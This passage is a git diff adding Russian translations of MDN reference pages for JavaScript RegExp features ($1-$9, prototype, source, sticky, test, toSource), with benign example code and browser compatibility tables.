+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("RegExp.lastIndex")}}</li>
+ <li>{{jsxref("RegExp.prototype.global")}}</li>
+ <li>{{jsxref("RegExp.prototype.ignoreCase")}}</li>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+ <li>{{jsxref("RegExp.prototype.sticky")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/n/index.html b/files/ru/web/javascript/reference/global_objects/regexp/n/index.html
new file mode 100644
index 0000000000..a785e92f01
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/n/index.html
@@ -0,0 +1,64 @@
+---
+title: RegExp.$1-$9
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/n
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/n
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>Нестандартные свойства <strong>$1, $2, $3, $4, $5, $6, $7, $8, $9</strong> являются статическими и доступными только для чтения свойствами регулярных выражений, которые содержат найденые подстроки, обернутые в скобки.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>RegExp</var>.$1
+RegExp.$2</code>
+RegExp.$3
+RegExp.$4
+RegExp.$5
+RegExp.$6
+RegExp.$7
+RegExp.$8
+RegExp.$9
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойства $1, ..., $9 являются статичными, они не являются свойствами конкретного объекта регулярного выражения, поэтому вы всегда можете использовать их как <code>RegExp.$1</code>, ..., <code>RegExp.$9</code>.</p>
+
+<p>Значения этих свойств не доступны для изменения, они модифицируются всякий раз при успешном совпадении регулярного выражения.</p>
+
+<p>Количество возможных подстрок в круглых скобках неограничено, но объект <code>RegExp</code> может содержать в себе только последние 9. Вы можете получить доступ ко всем подстрокам, совпавшим с выражениями внутри круглых скобок, с помощью индексов возвращенного массива.</p>
+
+<p>Эти свойства могу использоваться при замене текста в методе {{jsxref("String.replace")}}. Когда используете его, не добавляйте их в <code>RegExp</code>. Пример ниже демонстрирует правильное применение. Когда круглые скобки не включены в регулярное выражение, код интерпритирует такие значения, как <code>$n</code> буквально, как литерал (n - положительное число).</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_n_со_String.replace">Использование <code>$n</code> со <code>String.replace</code></h3>
+
+<p>Следующий код использует метод {{jsxref("String.prototype.replace()", "replace()")}} строки {{jsxref("String")}}, чтобы преобразовать строку в формате <em>Имя Фамилия</em> в формат <em>Фамилия, Имя</em>. В коде замены текста используются <code>$1</code> и <code>$2</code> чтобы указать порядок вывода результата совпадений полученных при сравнивании с шаблоном регулярного выражения, имеющего круглые скобки.</p>
+
+<pre class="brush: js">var re = /(\w+)\s(\w+)/;
+var str = 'John Smith';
+str.replace(re, '$2, $1'); // "Smith, John"
+RegExp.$1; // "John"
+RegExp.$2; // "Smith"
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Не стандартизированно. Не является частью какой-либо спецификации</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.RegExp.n")}}</p>
+
+<div id="compat-mobile"></div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&amp;)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/prototype/index.html b/files/ru/web/javascript/reference/global_objects/regexp/prototype/index.html
new file mode 100644
index 0000000000..dd6989d2fd
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/prototype/index.html
@@ -0,0 +1,140 @@
+---
+title: RegExp.prototype
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/prototype
+tags:
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+  - RegExp
+  - регулярные выражения
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp
+---
+<div>{{JSRef("Global_Objects", "RegExp")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>RegExp.prototype</code></strong> представляет объект прототипа для констуктора {{jsxref("Global_Objects/RegExp", "RegExp")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Описание экземпляров регулярных выражений смотрите на странице документации, посвящёной объекту {{jsxref("Global_Objects/RegExp", "RegExp")}}. Экземпляры регулярных выражений наследуются от <code>RegExp.prototype</code>. Изменение объекта прототипа распространяется на все экземпляры регулярных выражений.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<p>Также смотрите <a href="/ru/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features#RegExp_Properties">устаревшие свойства объекта <code>RegExp</code></a></p>
+<p>Обратите внимание, что некоторые свойста объекта {{jsxref("Global_Objects/RegExp", "RegExp")}} имеют как длинные, так и короткие (Perl-подобные) имена. Оба имени всегда ссылаются на одно и тоже значение. Perl — это язык программирования, откуда JavaScript взял свои регулярные выражения.</p>
+<dl>
+ <dt><code>RegExp.prototype.constructor</code></dt>
+ <dd>Определяет функцию, создающую прототип объекта.</dd>
+ <dt>{{jsxref("RegExp.prototype.global")}}</dt>
+ <dd>Определяет, надо ли проверять регулярное выражение на все возможные сопоставления со строкой, или достаточно только первый раз.</dd>
+ <dt>{{jsxref("RegExp.prototype.ignoreCase")}}</dt>
+ <dd>Определяет, надо ли игнорировать регистр символов при попытке сопоставления со строкой.</dd>
+ <dt>{{jsxref("RegExp.prototype.lastIndex")}}</dt>
+ <dd>Индекс, по которому начинается следующее сопоставление.</dd>
+ <dt>{{jsxref("RegExp.prototype.multiline")}}</dt>
+ <dd>Определяет, надо ли искать по нескольким строкам.</dd>
+ <dt>{{jsxref("RegExp.prototype.source")}}</dt>
+ <dd>Текст шаблона.</dd>
+ <dt>{{jsxref("RegExp.prototype.sticky")}} {{experimental_inline}}</dt>
+ <dd>Определяет, включён ли режим «липкого» поиска.</dd>
+ <dt>{{jsxref("RegExp.prototype.flags")}} {{experimental_inline}}</dt>
+ <dd>Строка, состоящая из флагов объекта регулярного выражения.</dd>
+</dl>
+<div>{{jsOverrides("Object", "properties", "constructor", "global", "ignoreCase", "lastIndex", "multiline", "source", "sticky")}}</div>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<p>Также смотрите <a href="/ru/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features#RegExp_Methods">устаревшие методы объекта <code>RegExp</code></a></p>
+<dl>
+ <dt>{{jsxref("RegExp.prototype.exec()")}}</dt>
+ <dd>Выполняет поиск сопоставлений регулярного выражения в своём строковом параметре.</dd>
+ <dt>{{jsxref("RegExp.prototype.test()")}}</dt>
+ <dd>Пытается сопоставить регулярное выражение своему строковому параметру.</dd>
+ <dt>{{jsxref("RegExp.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает объектный литерал, представляющий указаный объект; вы можете использовать это значение для создания нового объекта. Переопределяет метод {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("RegExp.prototype.toString()")}}</dt>
+ <dd>Возвращает строку, представляющую указаннный объект. Переопределяет метод {{jsxref("Object.prototype.toString()")}}.</dd>
+</dl>
+<div>{{jsOverrides("Object", "Methods", "exec", "test", "toSource", "toString")}}</div>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.5.1', 'RegExp')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype', 'RegExp.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>Глава про <a href="/ru/docs/Web/JavaScript/Guide/Regular_Expressions">регулярные выражения</a> в <a href="/ru/docs/Web/JavaScript/Guide">руководстве по JavaScript</a></li>
+ <li>{{jsxref("Global_Objects/RegExp", "RegExp")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/source/index.html b/files/ru/web/javascript/reference/global_objects/regexp/source/index.html
new file mode 100644
index 0000000000..32d0bb687d
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/source/index.html
@@ -0,0 +1,121 @@
+---
+title: RegExp.prototype.source
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/source
+tags:
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+  - RegExp
+  - регулярные выражения
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/source
+---
+<div>{{JSRef("Global_Objects", "RegExp")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Свойство <strong><code>source</code></strong> возвращает {{jsxref("Global_Objects/String", "строку", "", 1)}}, содержащую текст шаблона регулярного выражения без прямых слешей с обеих сторон и без флагов регулярного выражения.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_source" name="Example:_Using_source">Пример: использование свойства <code>source</code></h3>
+
+<pre class="brush: js">var regex = /fooBar/ig;
+
+console.log(regex.source); // 'fooBar', не содержит прямые слеши /.../ и флаги 'ig'.
+</pre>
+
+<p>Начиная с ECMAScript 5, свойство <code>source</code> больше не возвращает пустую строку для пустых регулярных выражений. Вместо этого, возвращается строка" (?:)". Кроме того, теперь экранируются символы окончания строк (такие как, "\n").</p>
+
+<pre>new RegExp().source; // "(?:)"
+
+new RegExp('\n').source === '\n';  // true, до появления ES5
+new RegExp('\n').source === '\\n'; // true, начиная с ES5</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.<br>
+    JavaScript 1.5: свойство <code>source</code> является свойством экземпляра {{jsxref("Global_Objects/RegExp", "RegExp")}}, а не самого объекта {{jsxref("Global_Objects/RegExp", "RegExp")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.7.1', 'RegExp.prototype.source')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-regexp.prototype.source', 'RegExp.prototype.source')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Свойство <code>source</code> теперь является свойством доступа в прототипе объекта, а не собственным свойством данных экземпляра.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.prototype.flags")}}</li>
+</ul>
+
+<div class="ddict_btn" style="top: 882px; left: 573.6px;"><img></div>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/sticky/index.html b/files/ru/web/javascript/reference/global_objects/regexp/sticky/index.html
new file mode 100644
index 0000000000..84801849db
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/sticky/index.html
@@ -0,0 +1,139 @@
+---
+title: RegExp.prototype.sticky
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/sticky
+tags:
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+  - RegExp
+  - Référence(2)
+  - регулярные выражения
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/sticky
+---
+<div>{{JSRef("Global_Objects", "RegExp")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Свойство <strong><code>sticky</code></strong> отражает тот факт, является ли поиск «липким» (то есть, начинается ли он с индекса, на который указывает свойство {{jsxref("RegExp.lastIndex", "lastIndex")}} регулярного выражения). Свойство <code>sticky</code> является свойством только для чтения и принадлежит экземпляру регулярного выражения.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Значение свойства <code><strong>sticky</strong></code> имеет тип {{jsxref("Global_Objects/Boolean", "Boolean")}} и содержит <code>true</code>, если при определении регулярного выражения использовался флаг <code>"y",</code> в противном случае оно содержит <code>false</code>. Флаг <code>"y"</code> указывает на то, что регулярное выражение сопоставляется с целевой строкой начиная с позиции, на которую указывает его свойство {{jsxref("RegExp.lastIndex", "lastIndex")}} (и не пытается сопоставиться по любому более старшему индексу). Такое поведение позволяет эффективно использовать символ <code>"^"</code> сопоставления-с-началом в любом месте строки путём смены значения свойства {{jsxref("RegExp.lastIndex", "lastIndex")}}.</p>
+
+<p>Вы не можете напрямую изменить это свойство.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_a_regular_expression_with_the_.22sticky.22_flag" name="Example:_Using_a_regular_expression_with_the_.22sticky.22_flag">Пример: использование регулярных выражений с флагом «липучести»</h3>
+
+<p>Этот пример демонстрирует, как можно использовать флаг «липучести» регулярных выражений для сопоставления с отдельными строками многострочного ввода.</p>
+
+<pre class="brush: js">var text = 'Первая строка\nВторая строка';
+var regex = /(\S+) строка\n?/y;
+
+var match = regex.exec(text);
+console.log(match[1]);        // напечатает 'Первая'
+console.log(regex.lastIndex); // напечатает '14'
+
+var match2 = regex.exec(text);
+console.log(match2[1]);       // напечатает 'Вторая'
+console.log(regex.lastIndex); // напечатает '27'
+
+var match3 = regex.exec(text);
+console.log(match3 === null); // напечатает 'true'
+</pre>
+
+<h2 id="Compatibility_test" name="Compatibility_test">Проверка совместимости</h2>
+
+<p>Во время выполнения можно проверить, поддерживается ли флаг «липучести», при помощи блока <code>try { … } catch { … }</code>. Для этого надо использовать либо выражение с <code>eval(…)</code>, либо конструктор <code>RegExp(<var>строка регулярного выражения</var>, <var>строка-с-флагами</var>)</code> (поскольку нотация <code>/<var>регулярное выражение</var>/<var>флаги</var></code> обрабатывается во время компиляции, исключение будет выброшено до того, как выполнение достигнет блока <code>catch</code>). Например:</p>
+
+<pre class="brush: js">var supports_sticky;
+try { RegExp('', 'y'); supports_sticky = true; }
+catch(e) { supports_sticky = false; }
+console.log(supports_sticky); // напечатает 'false' в Firefox 2 и 'true' в Firefox 3+
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-regexp.prototype.sticky', 'RegExp.prototype.sticky')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("1.9")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.lastIndex")}}</li>
+ <li>{{jsxref("RegExp.prototype.global")}}</li>
+ <li>{{jsxref("RegExp.prototype.ignoreCase")}}</li>
+ <li>{{jsxref("RegExp.prototype.multiline")}}</li>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/test/index.html b/files/ru/web/javascript/reference/global_objects/regexp/test/index.html
new file mode 100644
index 0000000000..3723064858
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/test/index.html
@@ -0,0 +1,143 @@
+---
+title: RegExp.prototype.test()
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/test
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - RegExp
+  - регулярные выражения
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/test
+---
+<div>{{JSRef("Global_Objects", "RegExp")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>test()</code></strong> выполняет поиск сопоставления регулярного выражения указанной строке. Возвращает <code>true</code> или <code>false</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre><code><var>regexObj</var>.test(str)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>Строка, с которой сопоставляется регулярное выражение.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Логическое значение: <code>true</code> или <code>false</code>.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Используйте метод <code>test()</code>, если вы просто хотите узнать, находится ли шаблон в строке (он почти аналогичен методу {{jsxref("String.prototype.search()")}}, только вместо индекса шаблона возвращает <code>true</code> или <code>false</code>); для получения дополнительной информации о сопоставлении (но за счёт более медленного выполнения) используйте метод {{jsxref("RegExp.prototype.exec()", "exec()")}} (он аналогичен методу {{jsxref("String.prototype.match()")}}). Как и при вызове метода {{jsxref("RegExp.prototype.exec()", "exec()")}} (или при совместном с ним вызове), метод <code>test()</code>, вызванный несколько раз на одном и том же экземпляре глобального регулярного выражения, будет начинать проверку с конца предыдущего сопоставления.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_test" name="Example:_Using_test">Пример: использование метода <code>test()</code></h3>
+
+<p>Следующий пример печатает сообщение, в зависимости от того, была ли проверка успешной:</p>
+
+<pre class="brush: js">function testinput(re, str){
+  var midstring;
+  if (re.test(str)) {
+    midstring = ' содержит ';
+  } else {
+    midstring = ' не содержит ';
+  }
+  console.log(str + midstring + re.source);
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.6.3', 'RegExp.test')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype.test', 'RegExp.test')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Gecko-specific_notes" name="Gecko-specific_notes">Примечания по Gecko</h3>
+
+<p>До Gecko 8.0 {{geckoRelease("8.0")}} метод <code>test()</code> был реализован неправильно; когда он вызывался без параметров, он проверял на сопоставление предыдущее проверенное значение (свойство <code>RegExp.input</code>) вместо сопоставления со строкой <code>"undefined"</code>. Это поведение было исправлено; теперь <code>/undefined/.test()</code> правильно вернёт <code>true</code> вместо ошибки.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Глава про <a href="/ru/docs/Web/JavaScript/Guide/Regular_Expressions">регулярные выражения</a> в <a href="/ru/docs/Web/JavaScript/Guide">руководстве по JavaScript</a></li>
+ <li>{{jsxref("Global_Objects/RegExp", "RegExp")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/tosource/index.html b/files/ru/web/javascript/reference/global_objects/regexp/tosource/index.html
new file mode 100644
index 0000000000..470f288df6
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/tosource/index.html
@@ -0,0 +1,106 @@
+---
+title: RegExp.prototype.toSource()
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/toSource
+tags:
+  - JavaScript
+  - Method
+  - Non-standard
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toSource
+---
+<div>{{JSRef("Global_Objects", "RegExp")}} {{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>toSource()</code></strong> возвращает строковое представление исходного кода объекта.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>regexObj</var>.toSource()
+RegExp.toSource()
+</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>toSource()</code> возвращает следующие значения:</p>
+
+<ul>
+ <li>Для встроенного объекта {{jsxref("Global_Objects/RegExp", "RegExp")}}, метод <code>toSource()</code> возвращает следующую строку, указывающую, что исходный код недоступен:
+
+  <pre class="brush: js">function RegExp() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Для экземпляров объекта {{jsxref("Global_Objects/RegExp", "RegExp")}}, метод <code>toSource()</code> возвращает строковое представление исходного кода.</li>
+</ul>
+
+<p>Этот метод обычно вызывается внутри движка JavaScript, а не явно в коде.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<p>Не является частью какого-либо стандарта. Реализована в JavaScript 1.3.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
